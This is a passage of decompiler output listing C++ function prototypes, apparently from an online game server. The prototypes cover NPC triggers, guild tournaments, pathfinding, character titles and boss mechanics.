#331 *, #331 *, IObserver::Event, const unsigned int, const int, unsigned int); void __thiscall NPCAction::EmotionCondition::EmotionCondition(NPCAction::EmotionCondition *this, const char emoticonID, const unsigned int termLow, const unsigned int termHigh); unsigned __int16 __thiscall NPCAction::EmotionCondition::notify(NPCAction::EmotionCondition *this, #331 *, #331 *, IObserver::Event, const unsigned int, const int, unsigned int); void __thiscall NPCAction::DeadCondition::DeadCondition(NPCAction::DeadCondition *this); void *__thiscall NPCAction::GT_TeamCondition::_scalar_deleting_destructor_(NPCAction::GT_TeamCondition *this, unsigned int); void __thiscall NPCAction::ABStateCondition::_ABStateCondition(NPCAction::GT_TeamCondition *this); bool __thiscall NPCAction::NoneCondition::check(NPCAction::NoneCondition *this); bool __thiscall NPCAction::ABStateCondition::check(NPCAction::ABStateCondition *this); bool __thiscall NPCAction::LvGapCondition::check(NPCAction::LvGapCondition *this); bool __thiscall NPCAction::ClassCondition::check(NPCAction::ClassCondition *this); unsigned int __thiscall NPCAction::CondGen_OptionReader::size(NPCAction::CondGen_OptionReader *this); NPCAction::ICondition *__thiscall NPCAction::CondGen_OptionReader::createCondition_(NPCAction::CondGen_OptionReader *this, const char *condition, const char *type, unsigned int x, unsigned int y, NPCAction::CondGen_OptionReader::ConditionData_ *row, unsigned int low, unsigned int high); bool __thiscall NPCAction::GT_TeamCondition::check(NPCAction::GT_TeamCondition *this); unsigned __int16 __thiscall NPCAction::GT_TeamCondition::notify(NPCAction::GT_TeamCondition *this, #331 *, #331 *, IObserver::Event, const unsigned int, const int, unsigned int); NPCAction::ICondition *__thiscall NPCAction::CondGen_OptionReader::operator__(NPCAction::CondGen_OptionReader *this); void __thiscall NeighborhoodChecker::NeighborhoodChecker(NeighborhoodChecker *this, std::vector > *triggerCollection); void __thiscall NeighborhoodChecker::_NeighborhoodChecker(NeighborhoodChecker *this); unsigned int __thiscall std::vector>::size(std::vector > *this); std::_Tree_nod >,std::less,std::allocator > *__cdecl std::_Tree>_std::less_std::allocator>>>_0>>::_Max(std::_Tree_nod >,std::less,std::allocator > *_Pnode); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Inc(std::_Tree >,std::less,std::allocator > > > *this); unsigned int __thiscall std::basic_string_std::allocator>::rfind(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Off, unsigned int _Count); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Lrotate(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Wherenode); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Rrotate(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Wherenode); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::const_iterator::_Dec(std::_Tree >,std::less,std::allocator > > > *this); std::_Tree_nod >,std::less,std::allocator > *__thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(std::_Tree >,std::less,std::allocator > > > *this); NPCAction::doTriggers_ *__cdecl std::for_each>::iterator_NPCAction::doTriggers_>(NPCAction::doTriggers_ *result, std::vector >::iterator _First, std::vector >::iterator _Last, NPCAction::doTriggers_ _Func); char __thiscall NeighborhoodChecker::ali_Work(NeighborhoodChecker *this, #331 *, #331 *, unsigned int); void __thiscall NPCAction::Manager::_Manager(NPCAction::Manager *this); void __thiscall std::vector>::_Destroy(std::vector > *this, NPCAction::Trigger *_First, NPCAction::Trigger *_Last); void __thiscall NPCAction::Trigger::_Trigger(NPCAction::Trigger *this); void __thiscall std::vector>::_Tidy(std::vector > *this); void __thiscall std::vector>::_vector>(std::vector > *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader(NPCAction::TriggerGen_OptionReader *this); void __thiscall std::pair>>::_pair>>(std::pair > > *this); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(std::_Tree_nod >,std::less,std::allocator > *this); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L150845(int a1); void *__thiscall std::vector>::operator_(void *this, int a2); void __thiscall NPCAction::Trigger::Trigger(NPCAction::Trigger *this, NPCAction::Trigger *__that); void *__thiscall NPCAction::Trigger::_scalar_deleting_destructor_(NPCAction::Trigger *this, unsigned int); NPCAction::Trigger *__cdecl std::_Copy_opt(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); NPCAction::Trigger *__cdecl std::_Copy_backward_opt(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::generate_n>::iterator_unsigned_int_NPCAction::TriggerGen_OptionReader>(std::vector >::iterator _Dest, unsigned int _Count, NPCAction::TriggerGen_OptionReader _Func); int sub_544450(); // weak void __cdecl std::fill(NPCAction::Trigger *_First, NPCAction::Trigger *_Last, NPCAction::Trigger *_Val); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); NPCAction::Trigger *__cdecl std::_Uninit_copy>::const_iterator_NPCAction::Trigger___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, NPCAction::Trigger *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(NPCAction::Trigger *_First, unsigned int _Count, NPCAction::Trigger *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Erase(std::_Tree >,std::less,std::allocator > > > *this, std::_Tree_nod >,std::less,std::allocator > *_Rootnode); NPCAction::Trigger *__thiscall std::vector>::_Ufill(std::vector > *this, NPCAction::Trigger *_Ptr, unsigned int _Count, NPCAction::Trigger *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L152797(int a1); int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, NPCAction::Trigger *_Val); std::pair > > *__cdecl std::make_pair>>(std::pair > > *result, unsigned __int16 _Val1, std::vector > _Val2); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, NPCAction::Trigger _Val); int std::_Tree>_std::less_std::allocator>>>_0>>::_Buynode(...); void __thiscall std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this); int std::_Tree>_std::less_std::allocator>>>_0>>::_Insert(...); bool __cdecl NPCAction::Util::loadFromOptionReader(std::vector > *destManager, const char *fileName); int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...); bool __cdecl NPCAction::Util::loadTriggers(); unsigned int __thiscall NPCAction::TriggerGen_OptionReader::size(NPCAction::TriggerGen_OptionReader *this); NPCAction::Trigger::doAction_ *__cdecl std::for_each>::iterator_NPCAction::Trigger::doAction_>(NPCAction::Trigger::doAction_ *result, std::vector >::iterator _First, std::vector >::iterator _Last, NPCAction::Trigger::doAction_ _Func); unsigned __int16 __thiscall NPCAction::Trigger::notify(NPCAction::Trigger *this, #331 *, #331 *, IObserver::Event, const unsigned int, const int, unsigned int); void __thiscall NPCAction::doTriggers_::operator__(NPCAction::doTriggers_ *this, NPCAction::Trigger *trigger); void __thiscall std::vector>::_Xran(std::vector > *this); void __thiscall NPCAction::Trigger::Trigger(NPCAction::Trigger *this); bool __thiscall NPCAction::Trigger::needToAttach(NPCAction::Trigger *this); NPCAction::Trigger *__thiscall NPCAction::TriggerGen_OptionReader::operator__(NPCAction::TriggerGen_OptionReader *this, NPCAction::Trigger *result); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, NPCAction::Trigger *_Val); void __thiscall std::vector>::push_back(std::vector > *this, NPCAction::Trigger *_Val); void __thiscall NPCAction::TriggerGen_OptionReader::TriggerGen_OptionReader(NPCAction::TriggerGen_OptionReader *this, OptionReader *optionReader); int __cdecl AccUpGradeInfoTable::GetRandomUpgradeValue(unsigned __int16 id, unsigned __int16 isPlus, int UpNumber); int __cdecl AccUpGradeInfoTable::GetLimit(unsigned __int16 id, unsigned __int16 isPlus, int UpNumber); int __thiscall AccUpGradeInfoTable::GetID(AccUpGradeInfoTable *this, AccUpGradeInfo *pkRecord); std::basic_string,std::allocator > *__cdecl Table::GetTableDir(); std::_Tree_nod >,std::less,std::allocator > *__cdecl std::_Tree>_std::less_std::allocator>>>_0>>::_Min(std::_Tree_nod >,std::less,std::allocator > *_Pnode); unsigned __int16 __cdecl GuildTournamentScoreTable::GetScore(int nType, int nMurder, int nVictim); unsigned int __cdecl GuildTournamentOccupyTable::GetOccupyTime(int nType); unsigned int __cdecl GuildTournamentOccupyTable::GetScore(int nType); GUILD_TOURNAMENT_SKILL *__cdecl GuildTournamentSkillTable::GetStateByIndex(int nType, int nNumber); unsigned int __cdecl GuildTournamentSkillTable::GetUseSkillCount(int nType, unsigned int Point); char __cdecl GTIGetRateTable::GetItemIDbyProbabilityCalculate(bool IsAdvan, char Level); bool __thiscall GTIGetRateTable::DataProcess(GTIGetRateTable *this); GTIBreedSubject *__cdecl GTIBreedSubjectTable::GetByIndexName(const char *pkIndexName); #331 **__thiscall std::vector>::_Ufill(std::vector > *this, #331 **, unsigned int); void __thiscall std::_Tree_nod>_std::less_std::allocator>>>_0>>::_Node::__Node(std::_Tree_nod >,std::less,std::allocator>::_Xran(std::vector > *this); void __thiscall std::vector>::_Xlen(std::vector > *this); void __cdecl Table::SetTableDir(const char *pkDir); std::basic_string,std::allocator > *__cdecl GuildTournamentMasterBuffTable::GetMasterBuff(std::basic_string,std::allocator > *result, int nType); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, GUILD_TOURNAMENT_LVGAP *const *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L76358(int a1); int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...); void __thiscall std::_Tree>_std::less_std::allocator>>>_0>>::_Erase(std::_Tree >,std::less,std::allocator >,std::less,std::allocator>_std::less_std::allocator>>>_0>>::_Buynode(...); int std::_Tree>_std::less_std::allocator>>>_0>>::erase(...); int std::_Tree>_std::less_std::allocator>>>_0>>::_Insert(...); int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...); int std::_Tree>_std::less_std::allocator>>>_0>>::insert(...); void __thiscall std::map>_std::less_std::allocator>>>>::_map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this); void __thiscall std::map>_std::less_std::allocator>>>>::map>_std::less_std::allocator>>>>(std::map >,std::less,std::allocator > > > > *this); std::vector > *__thiscall std::map>_std::less_std::allocator>>>>::operator__(std::map >,std::less,std::allocator > > > > *this, const int *_Keyval); int __cdecl GuildTournamentLvGapTable::BalanceScoreMediate(int nType, int nScore, int nMurderLevel, int nVictimLevel); bool __thiscall GuildTournamentLvGapTable::DataProcess(GuildTournamentLvGapTable *this); char __thiscall LevelGap_Player_to_Player::GetID(LevelGap_Player_to_Player *this, DamageLvGapPVP *pkRecord); int __cdecl LevelGap_Player_to_Player::GetLevelCapRate(int nAttPlayerLv, int nDefPlayerLv); int __cdecl LevelGap_Player_to_Monster::GetLevelCapRate(int nPlayerLv, int nMonsterLv); int __cdecl LevelGap_Monster_to_Player::GetLevelCapRate(int nMonsterLv, int nPlayerLv); bool __cdecl MysteryVaultTable::IsCheckClassType(ChrClassType CheckType, char classid); void __thiscall std::_Tree_std::allocator>_1>>::_Lrotate(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Wherenode); std::_Tree_nod,std::allocator >,0> >::_Node *__cdecl std::_Tree_std::allocator>_1>>::_Max(std::_Tree_nod,std::allocator >,0> >::_Node *_Pnode); void __thiscall std::_Tree_std::allocator>_1>>::_Erase(std::_Tree,std::allocator >,1> > *this, std::_Tree_nod,std::allocator >,1> >::_Node *_Rootnode); std::_Tree,std::allocator >,1> >::iterator *__cdecl MysteryVaultTable::Getloweriter(std::_Tree,std::allocator >,1> >::iterator *result, unsigned __int16 itemid); std::_Tree,std::allocator >,1> >::iterator *__cdecl MysteryVaultTable::GetUpperiter(std::_Tree,std::allocator >,1> >::iterator *result, unsigned __int16 itemid); std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::_Insert(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator >,1> >::_Node *_Wherenode, std::pair *_Val); std::_Tree,std::allocator >,1> >::iterator *__thiscall std::_Tree_std::allocator>_1>>::erase(std::_Tree,std::allocator >,1> > *this, std::_Tree,std::allocator >,1> >::iterator *result, std::_Tree,std::allocator >,1> >::iterator _Where); std::pair,std::allocator >,1> >::iterator,bool> *__thiscall std::_Tree_std::allocator>_1>>::insert(std::_Tree,std::allocator >,1> > *this, std::pair,std::allocator >,1> >::iterator,bool> *result, std::pair *_Val); int std::_Tree_std::allocator>_1>>::erase(...); bool __thiscall MysteryVaultTable::DataProcess(MysteryVaultTable *this); void __thiscall std::multimap_std::allocator>>::_multimap_std::allocator>>(std::multimap,std::allocator > > *this); void __thiscall Navigator::NaviPoint::NaviPoint(Navigator::NaviPoint *this); void __thiscall Navigator::NaviPoint::NaviPoint(Navigator::NaviPoint *this, unsigned int x, unsigned int y); void __thiscall Navigator::MapNavigator::_MapNavigator(Navigator::MapNavigator *this); void __cdecl std::fill(KQContribute::PlayerContribute *_First, KQContribute::PlayerContribute *_Last, KQContribute::PlayerContribute *_Val); Navigator::NaviPoint *__cdecl std::_Copy_opt(Navigator::NaviPoint *_First, Navigator::NaviPoint *_Last, Navigator::NaviPoint *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall Navigator::PathFindBuffer::PathFindBuffer(Navigator::PathFindBuffer *this, int buffersize); Navigator::PathFindCell *__thiscall Navigator::PathFindBuffer::operator__(Navigator::PathFindBuffer *this, Navigator::UnitPoint pnt); void __thiscall Navigator::MapNavigator::MapNavigator(Navigator::MapNavigator *this, int buffersize, int stepsize); int __thiscall Navigator::MapNavigator::mn_ExitFromBlock(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int *startx, unsigned int *starty); void __cdecl std::_Uninit_fill_n>(TickTimer *_First, unsigned int _Count, TickTimer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); KQContribute::PlayerContribute *__thiscall std::vector>::_Ufill(std::vector > *this, KQContribute::PlayerContribute *_Ptr, unsigned int _Count, KQContribute::PlayerContribute *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); bool __thiscall Navigator::WaitingList::wl_Pop(Navigator::WaitingList *this, int *x, int *y); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L82052(int a1); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::UnitPointWithDistance *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::UnitPoint *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::UnitPoint _Val); void *__thiscall std::vector>::operator_(void *this, int __formal); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::UnitPointWithDistance _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, Navigator::NaviPoint *_Val); void __thiscall Navigator::WaitingList::WaitingList(Navigator::WaitingList *this); void __thiscall Navigator::WaitingList::wl_Push(Navigator::WaitingList *this, int x, int y, int d); int __thiscall Navigator::WaitingList::wl_StoreNeighbor(Navigator::WaitingList *this, Navigator::PathFindArgument *pfarg, int centerx, int centery, Navigator::UnitPoint *goal, int stepsize, Navigator::NaviPoint *start); void __thiscall std::vector>::push_back(std::vector > *this, Navigator::UnitPoint *_Val); void __thiscall std::vector>::push_back(std::vector > *this, Navigator::NaviPoint *_Val); int __thiscall Navigator::MapNavigator::nm_MakePath(Navigator::MapNavigator *this, Navigator::VirtualMap *map, Navigator::UnitPoint goal, Navigator::NaviPoint *start, int maxdepth, StaticVector *pathbuffer); void __thiscall Navigator::PathAnalyzer::pa_Analyze(Navigator::PathAnalyzer *this); int __thiscall Navigator::MapNavigator::mn_Search(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int startx, unsigned int starty, unsigned int goalx, unsigned int goaly, StaticVector *pathbuffer); int __thiscall Navigator::MapNavigator::mn_PathFind(Navigator::MapNavigator *this, Navigator::VirtualMap *vm, unsigned int startx, unsigned int starty, unsigned int goalx, unsigned int goaly, StaticVector *pathfindvector); // void __thiscall Navigator::VirtualMap::VirtualMap(Navigator::VirtualMap *this, #592 *map); int __thiscall Navigator::VirtualMap::vm_DistanceCalc(Navigator::VirtualMap *this, int xA, int yA, int xB, int yB); int __thiscall Navigator::VirtualMap::vm_IsBlocked(Navigator::VirtualMap *this, int x, int y); int __thiscall Navigator::VirtualMap::vm_IsStreight(Navigator::VirtualMap *this, int xA, int yA, int xB, int yB); Navigator::NaviPoint *__thiscall Navigator::VirtualMap::vm_FindBlock(Navigator::VirtualMap *this, Navigator::NaviPoint *result, int xA, int yA, int xB, int yB); void __thiscall CCharacterTitleZone::CCharacterTitleZone(CCharacterTitleZone *this, CCharacterTitleData *pCharacterTitleData); void __thiscall ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr(ShineObjectClass::ShinePlayer::MiniHouseStr *this); void __thiscall CCharacterTitleZone::ctz_SetObject(CCharacterTitleZone *this, #331 *pPlayer); void __thiscall CCharacterTitleZone::InitNewPlayer(CCharacterTitleZone *this, int bFirstConnect); int __thiscall CCharacterTitleZone::SetTitleStatusZone(CCharacterTitleZone *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue); void __thiscall CCharacterTitleZone::Send_NC_CT_SET_CURRENT_ACK(CCharacterTitleZone *this, char Type, char ElementNo, unsigned __int16 MobID, unsigned __int16 Error); void __thiscall CCharacterTitleZone::Send_NC_CT_SET_CMD(CCharacterTitleZone *this, CT_INFO *pInfo); void __thiscall CCharacterTitleZone::Send_NC_CT_DB_SET_CMD(CCharacterTitleZone *this, CT_INFO *pInfo); int __thiscall CCharacterTitleZone::SetTitleStatus(CCharacterTitleZone *this, char Type, char ElementNo, CT_ELEMENT_VALUE ElementValue); int __thiscall CCharacterTitleZone::SetTitleUsable(CCharacterTitleZone *this, char Type, char ElementNo); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ(void *this, WEAPON_TITLE_DATA *netcmd, int pWTData, __int16 handle); int __thiscall CCharacterTitleZone::CheckNewTitle(CCharacterTitleZone *this, char Type); void __thiscall CCharacterTitleZone::CT_MoneyGive(CCharacterTitleZone *this, unsigned __int64 nMoney, unsigned int nTo); void __thiscall CCharacterTitleZone::CT_MoneyBeg(CCharacterTitleZone *this, unsigned __int64 nMoney, unsigned int nFrom); void __thiscall CCharacterTitleZone::CT_KilledByMob(CCharacterTitleZone *this, unsigned __int16 nMobID, unsigned __int16 nMobHandle); void __thiscall CCharacterTitleZone::CT_KillMob(CCharacterTitleZone *this, unsigned __int16 nMobID); void __thiscall CCharacterTitleZone::CT_PartyJoin(CCharacterTitleZone *this, unsigned __int16 nPartyNo, int nNumOfMember); void __thiscall CCharacterTitleZone::CT_KQJoin(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_KQSuccess(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_KQFail(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_SellNPC(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, unsigned __int16 nNPCID); void __thiscall CCharacterTitleZone::CT_BuyNPC(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, unsigned __int16 nNPCID); void __thiscall CCharacterTitleZone::CT_ItemUpSuccess(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel); void __thiscall CCharacterTitleZone::CT_ItemUpFail(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel); void __thiscall CCharacterTitleZone::CT_ItemUpDestroy(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel); void __thiscall CCharacterTitleZone::CT_AddFrined(CCharacterTitleZone *this, unsigned __int16 nNumOfFriend); void __thiscall CCharacterTitleZone::CT_QuestSuccess(CCharacterTitleZone *this, unsigned __int16 nQuestID); void __thiscall CCharacterTitleZone::CT_Chatting(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_BroadCast(CCharacterTitleZone *this); void __thiscall CCharacterTitleZone::CT_LevelUp(CCharacterTitleZone *this, char nLevel); void __thiscall CCharacterTitleZone::CT_WinDiceTaiSaiWin(CCharacterTitleZone *this, unsigned __int16 nWinCnt); void __thiscall CCharacterTitleZone::CT_WinDiceTaiSaiSet(CCharacterTitleZone *this); int __thiscall CCharacterTitleZone::ProcessTitle(CCharacterTitleZone *this); void __thiscall IObserver::_IObserver(ItemSmallBag *this); unsigned __int16 __thiscall IObserver::notify(IObserver *this, #331 *, #331 *, IObserver::Event, const unsigned int, const int, unsigned int); void __thiscall Observer::Observer(Observer *this, #331 *, IObserver *); bool __thiscall Observer::operator__(Observer *this, Observer *other); unsigned __int16 __thiscall Observer::notify(Observer *this, #331 *, #331 *, IObserver::Event, const unsigned int, const int, unsigned int); bool __thiscall Observer::needToAttach(Observer *this); void __thiscall GUILD_ZONE::GUILD_ZONE(GUILD_ZONE *this); int __thiscall GUILD_ZONE::operator_(int this, int a2); unsigned int __thiscall ItemAttrCls_ByteLot::iac_GetAttrSize(ItemAttrCls_WeaponTitlaLicence *this, SHINE_ITEM_ATTRIBUTE *itmattr); void __thiscall List::_List(List *this); void __thiscall CGuildZone::GUILD_ZONE_LIST::GUILD_ZONE_LIST(CGuildZone::GUILD_ZONE_LIST *this); void __thiscall CGuildZone::_CGuildZone(CGuildZone *this); int __thiscall CGuildZone::Add(CGuildZone *this, GUILD_ZONE *pGuildZone); int __thiscall CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ(CGuildZone *this); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_MAKE_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_MAKE_CMD *pCmd); char __thiscall List::l_PushA(List *this, CGuildZone::GUILD_ZONE_LIST *ele); char __thiscall List::l_PushZ(List *this, CGuildZone::GUILD_ZONE_LIST *ele); char __thiscall List::l_PopA(List *this, CGuildZone::GUILD_ZONE_LIST *ele); char __thiscall List::l_PopZ(List *this, CGuildZone::GUILD_ZONE_LIST *ele); void __thiscall CGuildZone::ClearWar(CGuildZone *this); CGuildZone::GUILD_ZONE_LIST *__thiscall CGuildZone::Find(CGuildZone *this, unsigned int nNo); int __thiscall CGuildZone::IsGuildEnemy(CGuildZone *this, unsigned int nGuild1, unsigned int nGuild2); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_WAR_START_CMD *pCmd); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_WAR_END_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_WAR_END_CMD *pCmd); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_LIST_ACK(CGuildZone *this, PROTO_NC_GUILD_ZONE_LIST_ACK *pAck); int __thiscall CGuildZone::Recv_NC_GUILD_ZONE_DELETE_CMD(CGuildZone *this, PROTO_NC_GUILD_ZONE_DELETE_CMD *pCmd); void __thiscall CGuildZone::CGuildZone(CGuildZone *this); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall BossFieldContent::ServentBuffBossTable::sbbt_TimerReset(BossFieldContent::ServentBuffBossTable *this); void __cdecl ShineObjectClass::ShineMobileObject::smo_BossAbstateSet(); int __thiscall ShineObjectClass::ShineMob::sm_BossAbstateGet(void *this); void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::_Rrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this); std::list,std::allocator > >::iterator *__cdecl std::copy_backward(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Dest); AbnormalStateInfo::ABSTATEINDEX *__cdecl std::copy(AbnormalStateInfo::ABSTATEINDEX *_First, AbnormalStateInfo::ABSTATEINDEX *_Last, AbnormalStateInfo::ABSTATEINDEX *_Dest); int std::_Tree_std::allocator_0>>::_Buynode(...); int std::_Tree_std::allocator_0>>::_Buynode(...); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); int __thiscall BossFieldContent::MobAbstateCheckAtDead::macad_AbstateCheck(BossFieldContent::MobAbstateCheckAtDead *this, List *lst); int std::_Tree_std::allocator_0>>::find(...); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, BossFieldContent::MobAutomaticAction *_Keyval); std::list,std::allocator > >::iterator *__thiscall std::vector>::_Ucopy(std::allocator,std::allocator > >::iterator> *_Al, std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *__formal); BossFieldContent::ServentBuffBossTable::ServentBossTable *__thiscall BossFieldContent::ServentBuffBossTable::sbbt_FindBuffer(BossFieldContent::ServentBuffBossTable *this, unsigned __int16 ID); void __thiscall ShineObjectClass::ShineMob::sm_IBuffToBuffee(void *this); BossFieldContent::MobAbstateCheckAtDead *__thiscall BossFieldContent::ListOfMobStateCheckAtDead::operator__(BossFieldContent::ListOfMobStateCheckAtDead *this, unsigned __int16 mobid); void __thiscall ShineObjectClass::ShineMob::smo_BossAbstateSet(void *this); void __thiscall BossFieldContent::MobAutomaticActionList::maal_MobDamaged(BossFieldContent::MobAutomaticActionList *this, unsigned __int16 mobid, #331 *attacker); int std::_Tree_std::allocator_0>>::_Insert(...); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, BossFieldContent::MobAutomaticAction *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); int std::_Tree_std::allocator_0>>::erase(...); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); void __thiscall FamilyMobManagement::FamilyMob::_FamilyMob(KQContribute::PlayerList *this); int std::_Tree_std::allocator_0>>::insert(...); std::pair,std::allocator,0> >::iterator,bool> *__thiscall 